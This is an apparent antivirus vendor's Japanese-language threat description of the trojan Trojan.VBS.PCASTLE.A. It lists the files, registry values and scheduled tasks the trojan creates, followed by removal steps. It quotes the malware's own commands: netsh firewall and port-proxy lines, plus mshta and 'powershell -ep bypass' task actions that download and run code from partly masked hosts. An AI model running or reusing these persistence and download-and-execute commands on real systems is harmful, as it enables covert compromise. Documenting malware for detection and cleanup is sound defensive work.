Trojan.VBS.PCASTLE.A
VBS.Downloader.Trojan (Symantec)
Windows
- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化: なし
- 感染報告の有無: はい
概要
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
マルウェアは、ワーム活動の機能を備えていません。
マルウェアは、バックドア活動の機能を備えていません。
詳細
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のプロセスを追加します。
- %Windows%\Temp\setup-install.exe
- netsh firewall add portopening tcp 65533 DNSd
- netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
(註:%Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)
他のシステム変更
マルウェアは、以下のレジストリ値を追加します。
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\PortProxy\v4tov4\
tcp\*
65533 = "1.1.1.1/53"
感染活動
マルウェアは、ワーム活動の機能を備えていません。
バックドア活動
マルウェアは、バックドア活動の機能を備えていません。
ルートキット機能
マルウェアは、ルートキット機能を備えていません
作成活動
マルウェアは、以下のファイルを作成します。
- %Windows%\BvLEW.exe <- copy of %Temp%\svchost.exe
- %Temp%\hash.txt
- %Temp%\svchost.exe
(註:%Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。.)
その他
マルウェアは、脆弱性を利用した感染活動を行いません。
マルウェアは、以下を実行します。
- マルウェアは、ファイル「 %Temp%\dig.exe」を「%Windows%\DVFdex.exe」に移動します。
- 以下のURLのコンテンツをダウンロードし、メモリ内で実行します。
- http://v{BLOCKED}.com/v{ユーザドメイン}
- http://w{BLOCKED}.com/page.html?p{コンピュータ名}
マルウェアは、以下のスケジュールされたタスクを追加します。
- %System%\WindowsPowerShellが存在しない場合:
- タスク名: Autocheck
- アクション: cmd.exe /c mshta http://w{BLOCKED}.com/page.html?p{コンピュータ名}
- タスク名: Autostart
- アクション: %Windows%\DVFdex.exe
- タスク名: escan
- アクション: %Windows%\BvLEW.exe
- %System%\WindowsPowerShellが存在する場合:
- タスク名: BvLEW
- アクション: %Windows%\BvLEW.exe
- タスク名: FRBptmys
- アクション: %Windows%\DVFdex.exe
- タスク名: Microsoft\windows\Bluetool
- アクション: powershell -ep bypass -e powershell -nop -ep bypass -e [http://v{BLOCKED}.com/v{ユーザ名}からの不正なコード]
注意:
ただし、情報公開日現在、上述のWebサイトにはアクセスできません。
<補足>
作成活動
マルウェアは、以下のファイルを作成します。
- %Windows%\BvLEW.exe ← %Temp%\svchost.exeのコピー
対応方法
手順 1
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
Windowsをセーフモードで再起動します。
手順 4
スケジュールされたタスクを削除する
タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。
Windows 2000、Windows XP、Windows Server 2003の場合:
- [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
- 上記の{タスク名} を、[名前]の欄に入力します。
- 入力した{タスク名} 持つファイルを右クリックします。
- [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
- 上記の{実行するタスク}と文字列が一致するタスクを削除します。
Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:
- Windowsタスクスケジューラを開きます。
• Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
• Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。 - 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
- 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
- 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
- 文字列が一致するタスクを削除します。
手順 5
不明なレジストリキーを削除します。
警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp\*
- 65533 = "1.1.1.1/53"
- 65533 = "1.1.1.1/53"
手順 6
以下のファイルを検索し削除します。
- %Windows%\BvLEW.exe
- %Temp%\hash.txt
- %Temp%\svchost.exe
手順 7
コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Trojan.VBS.PCASTLE.A」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
手順 8
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.VBS.PCASTLE.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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